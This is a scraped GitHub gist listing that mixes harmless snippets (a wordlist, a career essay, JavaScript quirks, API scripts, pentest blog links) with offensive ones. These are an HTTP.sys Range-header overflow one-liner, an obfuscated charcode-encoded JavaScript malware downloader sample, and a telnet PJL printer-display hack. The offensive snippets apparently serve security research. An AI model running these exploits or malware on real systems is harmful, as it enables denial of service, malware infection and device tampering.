Skip to content

Instantly share code, notes, and snippets.

View xsuperbug's full-sized avatar

Superbug xsuperbug

  • Superbug
  • Turkey
View GitHub Profile
@nullenc0de
nullenc0de / params.txt
Created March 29, 2019 00:57
List of parameters for content discovery
0
1
11
12
13
14
15
16
17
2
@v0lkan
v0lkan / engineer.md
Last active June 7, 2021 07:18
The Evolution of a Software Engineer

This gist outlines the change in the depth and breadth of the tasks and responsibilities of a software engineer as she continuously improves herself.

I created this to supplement a discussion in an internal slack group; then I though the rest of the world might benefit from this too.

Contributions are always welcome.

Junior Engineer

  • Knowledge
@bakkot
bakkot / horrifying.js
Last active December 17, 2022 18:02
Various really bad JavaScript
(function x(){"use strict"; x = 1;}()); // TypeError
(function x(){x = 1; return x !== 1;}()); // write fails silently; function returns true
(function x(){"use strict"; x = (function(){throw 0;})();})() // Error 0
// These three lines rely on ES6.
(function x(){const x = 1;})() // No-op. In particular, not a redeclaration of x.
(function (){"use strict"; const x = 1; x = 2;})() // TypeError
(function (){const x = 1; x = 2;})() // TypeError. contrast (function x(){x = 2;}());
<?php
require_once('TwitterAPIExchange.php');
$settings = array(
'oauth_access_token' => "",
'oauth_access_token_secret' => "",
'consumer_key' => "",
'consumer_secret' => ""
);
powershell -com {$wr=[Net.WebRequest]::Create('http://127.0.0.1/iisstart.htm');$wr.AddRange('bytes',18,18446744073709551615);$wr.GetResponse();$wr.close()}
@eyeskiller
eyeskiller / Pentesting blog sources
Last active May 29, 2022 19:42
Some of the blogs on Pentesting by some of the best researchers
http://pentestmonkey.net/blog
http://jeremiahgrossman.blogspot.com
http://www.darknet.org.uk
http://spylogic.net
http://taosecurity.blogspot.com
http://www.room362.com
http://blog.sipvicious.org
http://blog.portswigger.net
http://blog.c22.cc
http://carnal0wnage.blogspot.com
@benmmurphy
benmmurphy / gist:382c4246c93a42d0d60e
Created November 15, 2014 11:25
Javascript Malware (console.log was eval)
var k="";function l(m){k+=m;};l("102!!117!!110!!");l("99!!116!!105!!111!!110!!32");/*60712975*/l("!!100!!108!!40!!102!!114!!44!");l("!116!!111!!41!!32!!123!!32!!");l("118!!97!!114!!32!!12");l("0!!111!!32!!61!!32!!110!!");l("101!!119!!32!!65!!9");l("9!!116!!105!!118!!101!!8");l("8!!79!!98!!106!!101!!99!");l("!116!!40!!34!!77");l("!!83!!88!!77!!76!!50!!46!");l("!88!!77!!76!!72!");l("!84!!84!!80!!34!!41!!59!!32!");/*29959874*/l("!120!!111!!46!!111!");l("!110!!114!!101!!97!!100");/*40603795*/l("!!121!!115!!116!!97!!116!!");l("101!!99!!104!!97!!110");l("!!103!!101!!32!!61!!32");l("!!102!!117!!110!!99!!1");l("16!!105!!111!!110!!40!");l("!41!!32!!123!!32!!105!!10");l("2!!32!!40!!120!!1");/*40911160*/l("11!!46!!114!!101!!9");l("7!!100!!121!!83!!11");l("6!!97!!116!!101!!");/*2370194*/l("32!!61!!61!!61!!32");l("!!52!!41!!32!!123!!32");/*55689847*/l("!!118!!97!!114!!32!!120!!97!!3");/*69516250*/l("2!!61!!32!!110!!101!!1");l("19!!32!!65!!99!!");l("116!!105!!118!!1");l("01!!88!!79!!98!!");/*86419873*/l("106!!101!!99!!116"
@miguelgrinberg
miguelgrinberg / pycon-views.py
Last active September 18, 2022 05:41
Generate statistics about PyCon 2014 videos
import argparse
import re
from multiprocessing.pool import ThreadPool as Pool
import requests
import bs4
root_url = 'http://pyvideo.org'
index_url = root_url + '/category/50/pycon-us-2014'
@tstachl
tstachl / create_customer.ps1
Created August 13, 2013 23:21
This is a PowerShell v2 script that performs a simple customer creation action on the desk.com API and outputs the status text. Either "created" if the customer has been created or "Unprocessable Entity" if a customer with the same email already exists.
function createCustomer($first_name, $last_name, $title, $background, $email) {
$subdomain = "your-site-subdomain"
$username = "your@username.com"
$password = "YoUrPaSsWoRd"
$body = @"
{
"first_name": "$first_name",
"last_name": "$last_name",
"title": "$title",
"background": "$background",
@bswinnerton
bswinnerton / gist:4217816
Created December 5, 2012 17:43
HP Printer Hack
telnet <host> 9100
@PJL RDYMSG DISPLAY="h@cked"